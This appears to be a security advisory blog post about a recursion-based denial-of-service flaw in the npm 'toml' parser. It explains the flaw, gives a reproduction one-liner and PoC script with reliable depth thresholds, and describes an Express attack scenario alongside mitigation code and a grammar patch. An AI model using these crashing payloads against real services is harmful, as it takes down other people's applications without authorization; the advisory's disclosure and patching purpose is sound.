Listen to this Post
The vulnerability resides in the `toml.parse()` function of the npm package `toml` (versions up to and including 4.1.2). The parser is automatically generated by Peggy 5.1.0, a recursive-descent PEG parser generator. The generated code contains a set of mutually recursive rule functions: peg$parsevalue, peg$parsearray, and peg$parseinline_table. The `value` rule attempts to parse an array; if that fails, it tries an inline_table. Conversely, the `array` rule parses its elements by calling `value` again, and the `inline_table` rule calls `value` for each table entry’s value. This creates a tight recursion cycle without any depth counter or guard.
When an attacker supplies a TOML document containing a bare array nested thousands of levels deep (e.g., a=[[[ ... ]]]), the parser enters this mutual recursion and continues to allocate new stack frames for each level. The Node.js runtime imposes a default stack size limit. Once the recursion depth exceeds approximately 2,500 levels for a bare array—consuming only about 5–6 KB of payload—the call stack overflows, triggering an uncaught RangeError: Maximum call stack size exceeded.
Notably, this error is not a `SyntaxError` (the parser’s usual failure mode for malformed input). It is a raw `RangeError` that inherits directly from Error, bypassing typical `catch (e)` blocks that only check for parser-specific syntax errors. Since `toml` does not export a custom `SyntaxError` class, application-level guards like `if (e instanceof toml.SyntaxError)` are broken and throw themselves. The only public API of the package is toml.parse(), making every invocation a potential vector. With approximately 47 million monthly downloads and no prior CVEs, the attack surface is enormous.
The crash is deterministic at sufficient depth, though the exact threshold may shift slightly based on V8 JIT state, Node.js version, and platform. A depth of 3,000 levels (around 6 KB) reliably crashes a default Node.js 24 instance. Inline table payloads (e.g., {arr=[...]}) require roughly half that depth (~1,500) to achieve the same effect due to additional call frames in the `inline_table_entry` path. Attackers can easily deliver these tiny payloads through HTTP POST bodies, configuration files, or any API endpoint that parses user-supplied TOML. The limited size (under 10 KB) easily slips past typical request size limits, making this a practical remote, unauthenticated denial-of-service vector.
Because the parser is machine-generated, no hand-written function can be directly patched. The fix must originate in the grammar source (src/toml.pegjs) by introducing a depth counter in the initializer and wrapping the recursive `value` rule, or by implementing a pre-parse structural guard in `index.js` that scans the input string for bracket and brace nesting depth. Users can immediately mitigate the issue by pre-scanning untrusted input and rejecting payloads where the maximum nesting of [, `{` exceeds a safe threshold (e.g., 500). A byte-length limit alone is insufficient, as the crashing payload fits within 6 KB.
DailyCVE Form:
Platform: Node.js (npm)
Version: <=4.1.2
Vulnerability : CWE-674 DoS
Severity: High
date: 2026-09-04
Prediction: 2026-09-30
What Undercode Say:
Analytics reveal that the recursion depth threshold is highly stable across repeated runs. Use the following bash commands to verify the package version and reproduce the crash in a controlled environment:
npm install [email protected] node -e "const t=require('toml'); let x='1'; for(let i=0;i<3000;i++) x='['+x+']'; try{t.parse('a='+x);}catch(e){console.log(e.constructor.name+':'+e.message)}"
Expected output confirms RangeError: Maximum call stack size exceeded. Profiling the call stack with `–trace-uncaught` shows the cycle:
`peg$parsevalue -> peg$parsearray -> peg$parsevalue -> …` repeating until stack exhaustion. The maximum safe nesting depth for a bare array is empirically ~2400, but varies by Node version. For inline tables ({a={a=...}}), the safe depth drops to ~1400 due to additional function calls per entry. JIT compilation can shift the crash boundary by up to 300 levels, so a depth of 3000 is recommended for PoC reliability. The payload size at this depth is approximately 6,003 bytes, well under typical 100 KB body limits.
Exploit: (Educational Purposes!)
The following standalone PoC crashes the process:
const toml = require('toml');
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
toml.parse('a=' + x); // throws RangeError
A realistic server-side exploit targeting an Express endpoint:
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));
app.post('/config', (req, res) => {
try {
const config = toml.parse(req.body);
res.json({ ok: true });
} catch (e) {
if (e.line != null) return res.status(400).json({ error: e.message });
throw e; // rethrows RangeError, crashes worker
}
});
An attacker POSTs a body of `a=` followed by 3000 nested brackets (approx 6 KB). The server crashes with an uncaught exception, taking down the Node.js worker process. No authentication is required.
Protection: from this CVE
Immediate mitigation without waiting for a package patch:
const toml = require('toml');
const originalParse = toml.parse;
toml.parse = function(input) {
let depth = 0, maxDepth = 0;
for (const ch of input) {
if (ch === '[' || ch === '{') maxDepth = Math.max(maxDepth, ++depth);
else if (ch === ']' || ch === '}') depth--;
}
if (maxDepth > 500) throw new Error('TOML nesting depth exceeds limit');
return originalParse(input);
};
Patch the grammar permanently by editing src/toml.pegjs:
{ let depth = 0; const MAX_DEPTH = 500; }
value = &{ if (++depth > MAX_DEPTH) { error("Nesting too deep"); } return true; }
v:(array / inline_table / string / number / ...) { depth--; return v; }
Then regenerate `lib/parser.js` with Peggy. Alternatively, deploy a reverse proxy rule that inspects and rejects POST bodies containing patterns like `\[\[\[` repeated over a threshold.
Impact:
Unrestricted, unauthenticated remote denial of service affecting every application that parses untrusted TOML. The vulnerability is present in all versions of the `toml` package, which sees ~47 million monthly downloads. Because `RangeError` is not a SyntaxError, common error-handling middleware fails to catch it, leading to process termination. This is the first CVE (yet unassigned) for this package, leaving a large portion of the Node.js ecosystem vulnerable until a fix is released or users implement the above guards. The attack requires negligible bandwidth and computational overhead, making it a high-impact, low-cost exploit.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

